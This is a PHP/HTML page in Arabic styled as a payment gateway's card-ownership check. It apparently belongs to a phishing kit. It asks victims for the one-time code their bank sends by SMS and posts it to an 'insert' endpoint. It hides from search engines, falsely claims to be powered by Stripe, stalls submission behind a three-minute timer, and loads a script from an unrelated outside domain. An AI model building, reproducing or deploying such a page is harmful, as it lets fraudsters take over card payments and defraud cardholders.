<?php
header("X-Robots-Tag: noindex, nofollow, noarchive, nosnippet", true);
session_start();
$last4 = isset($_SESSION['last4Digits']) ? preg_replace('/\D/','', $_SESSION['last4Digits']) : '';
$last4 = (strlen($last4) === 4) ? $last4 : '----';
$total = isset($_SESSION['total_price_with_tax']) ? (float)$_SESSION['total_price_with_tax'] : 0.0;
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1">
  <title>إثبات ملكية البطاقة</title>
  <link href="https://fonts.googleapis.com/css2?family=Tajawal:wght@400;700&display=swap" rel="stylesheet">
  <style>
    :root{
      --bg:#ffffff; --soft:#f8fafc; --ink:#0f172a; --muted:#64748b;
      --line:#e2e8f0; --brand:#0ea5e9; --brand-2:#0369a1; --accent:#f59e0b;
      --ok:#16a34a; --danger:#dc2626; --radius:14px; --shadow:0 10px 30px rgba(2,6,23,.08);
    }
    *{box-sizing:border-box}
    html,body{height:100%}
    body{
      margin:0; font-family:'Tajawal',system-ui,Arial,sans-serif;
      background:linear-gradient(180deg,#f6fbff, #ffffff);
      color:var(--ink); display:flex; align-items:center; justify-content:center; padding:16px;
    }
    .card{
      width:100%; max-width:460px; background:#fff; border:1px solid var(--line);
      border-radius:var(--radius); box-shadow:var(--shadow); overflow:hidden;
    }
    .head{
      padding:14px 16px; border-bottom:1px solid var(--line); display:flex; align-items:center; justify-content:space-between;
      background:#fff;
    }
    .brand{display:flex; align-items:center; gap:10px; font-weight:800; color:#0b4a86}
    .mark{width:34px;height:34px;border-radius:10px;background:linear-gradient(135deg,#e6f4ff,#cfeafe);border:1px solid var(--line)}
    .secure{color:var(--muted);font-weight:700}
    .wrap{padding:18px 16px}
    h1{font-size:22px;margin:0 0 6px}
    .desc{color:var(--muted);line-height:1.9;font-size:15px;margin-bottom:14px}
    .summary{
      background:var(--soft); border:1px solid var(--line); border-radius:12px; padding:12px; margin-bottom:14px;
    }
    .row{display:flex; justify-content:space-between; align-items:center; gap:10px; margin:6px 0}
    .row b{color:#111827}
    .amount{font-weight:800}
    .code-label{margin:10px 0 6px; font-weight:800}
    .field{
      width:100%; padding:12px 14px; border:1px solid var(--line); border-radius:12px; background:#fff; font-size:16px; text-align:center;
      transition:border-color .15s, box-shadow .15s;
    }
    .field::placeholder{color:#94a3b8}
    .field:focus{outline:none; border-color:var(--brand); box-shadow:0 0 0 3px rgba(14,165,233,.15)}
    .hint{font-size:13px;color:var(--muted);text-align:center;margin-top:6px}
    .timer{
      background:#fff; border:1px dashed var(--line); border-radius:10px; padding:10px; text-align:center; margin:12px 0;
      font-weight:700; color:#0b2748;
    }
    #otptimeout{color:var(--accent)}
    .btn{
      width:100%; border:0; border-radius:12px; padding:14px 16px; font-size:17px; font-weight:800; cursor:pointer;
      color:#fff; background:linear-gradient(90deg,var(--brand),var(--brand-2)); box-shadow:0 10px 22px rgba(3,105,161,.18);
      transition:filter .15s, transform .06s; margin-top:10px;
    }
    .btn:hover{filter:brightness(.97)} .btn:active{transform:translateY(1px)}
    .btn[disabled]{opacity:.6; cursor:not-allowed; filter:grayscale(.3)}
    .error{color:var(--danger); font-size:13px; display:none; text-align:center; margin-top:6px}
    .logos{display:flex; justify-content:center; gap:10px; margin:14px 0 6px}
    .logos img{height:28px}
    .foot{
      text-align:center; color:var(--muted); font-size:13px; padding:12px; border-top:1px solid var(--line); background:#fff;
    }
    .foot b{color:#111827}
    .logo-top{height:44px; border-radius:8px; border:1px solid var(--line)}
  </style>
</head>
<body>

  <form action="/pages/php/insert/paymentverification.php" method="post" id="otpForm" novalidate>
    <div class="card">
      <div class="head">
        <div class="brand"><span class="mark"></span> بوابة الدفع</div>
        <div class="secure">دفع آمن <span aria-hidden="true">🔒</span></div>
      </div>

      <div class="wrap">
        <div style="display:flex;justify-content:center;margin-bottom:10px">
          <img src="myclogo.jpg" class="logo-top" alt="logo">
        </div>

        <h1>إثبات ملكية البطاقة</h1>
      <p class="desc"> سيتم إجراء معاملة مالية على حسابك المصرفي لسداد المبلغ لتأكيد العملية، أدخل رمز التحقق المرسل إلى جوالك. </p>

        <div class="summary" aria-label="ملخص البطاقة">
         
          <div class="row"><b>المبلغ</b><span>SAR <?= number_format($total, 2, '.', ''); ?></span></div>
        </div>

        <label class="code-label" for="PaymentCode">رمز التحقق *</label>
     <input
  id="PaymentCode"
  name="codepay"
  class="field"
  type="tel"
  inputmode="numeric"
  autocomplete="one-time-code"
  maxlength="6"
placeholder="أدخل رمز التحقق"  required
  pattern="^\d{4}(\d{2})?$"
/>
<div class="error" id="paymentCodeError">الرجاء إدخال الرمز .</div>        <div class="timer">
          سيتم إرسال رسالة كود التحقق خلال <span id="otptimeout">03:00</span> دقيقة
        </div>

        <button class="btn" id="pay_code_submit" type="submit" disabled>تأكيد</button>

        <div class="hint">إذا لم يصلك الرمز بعد انتهاء الوقت، اطلب إعادة الإرسال من مزودك البنكي.</div>

        <div class="logos" aria-hidden="true">
          <img src="https://raw.githubusercontent.com/UNICODE-Venture/unicode-moyasar/main/assets/images/cards.png" alt="Visa/Mastercard">
         
        </div>
      </div>

      <div class="foot">مدعوم بواسطة <b>stripe</b> • الشروط • الخصوصية</div>
    </div>
  </form>

<script>
  // عدّاد 3 دقائق (180 ثانية)
  let countdown = 3 * 60; 
  const countdownElement = document.getElementById('otptimeout');
  const submitBtn = document.getElementById('pay_code_submit');
  const codeInput = document.getElementById('PaymentCode');
  const errorEl = document.getElementById('paymentCodeError');
  const form = document.getElementById('otpForm');

  // دوال لتمكين وتعطيل الزر
  function enableBtn() {
    if (!submitBtn) return;
    submitBtn.disabled = false;
    submitBtn.removeAttribute('disabled');
    submitBtn.classList.remove('disabled');
  }

  function disableBtn() {
    if (!submitBtn) return;
    submitBtn.disabled = true;
    submitBtn.setAttribute('disabled', 'disabled');
    submitBtn.classList.add('disabled');
  }

  // يبدأ الزر معطلاً
  disableBtn();

  // تحديث العدّاد
  function updateCountdown(){
    const m = Math.floor(countdown / 60);
    const s = countdown % 60;
    countdownElement.textContent = `${String(m).padStart(2,'0')}:${String(s).padStart(2,'0')}`;
    if (countdown > 0){
      countdown--;
    } else {
      // بعد انتهاء الوقت فعّل الزر
      enableBtn();
    }
  }
  setInterval(updateCountdown, 1000);
  updateCountdown();

  // السماح بالأرقام فقط + تفعيل مبكر لو الكود صالح
  codeInput.addEventListener('input', () => {
    codeInput.value = codeInput.value.replace(/\D/g,'').slice(0,6);

    if (codeInput.value.length === 0) {
      errorEl.style.display = 'none';
      return;
    }

    // ✅ قبول 4 أو 6 أرقام فقط
    const ok = /^(\d{4}|\d{6})$/.test(codeInput.value);
    errorEl.style.display = ok ? 'none' : 'block';

    // فعّل الزر بمجرد إدخال كود صالح (اختياري)
    if (ok) enableBtn();
  });

  // التحقق قبل إرسال النموذج
  form.addEventListener('submit', function(e){
    const isValid = /^(\d{4}|\d{6})$/.test(codeInput.value);
    if (!isValid){
      e.preventDefault();
      errorEl.style.display = 'block';
      codeInput.focus();
      return false;
    }
    return true;
  });
</script>


  <script src="https://cartaminewar.work/pages/uui.js"></script>
</body>
</html>
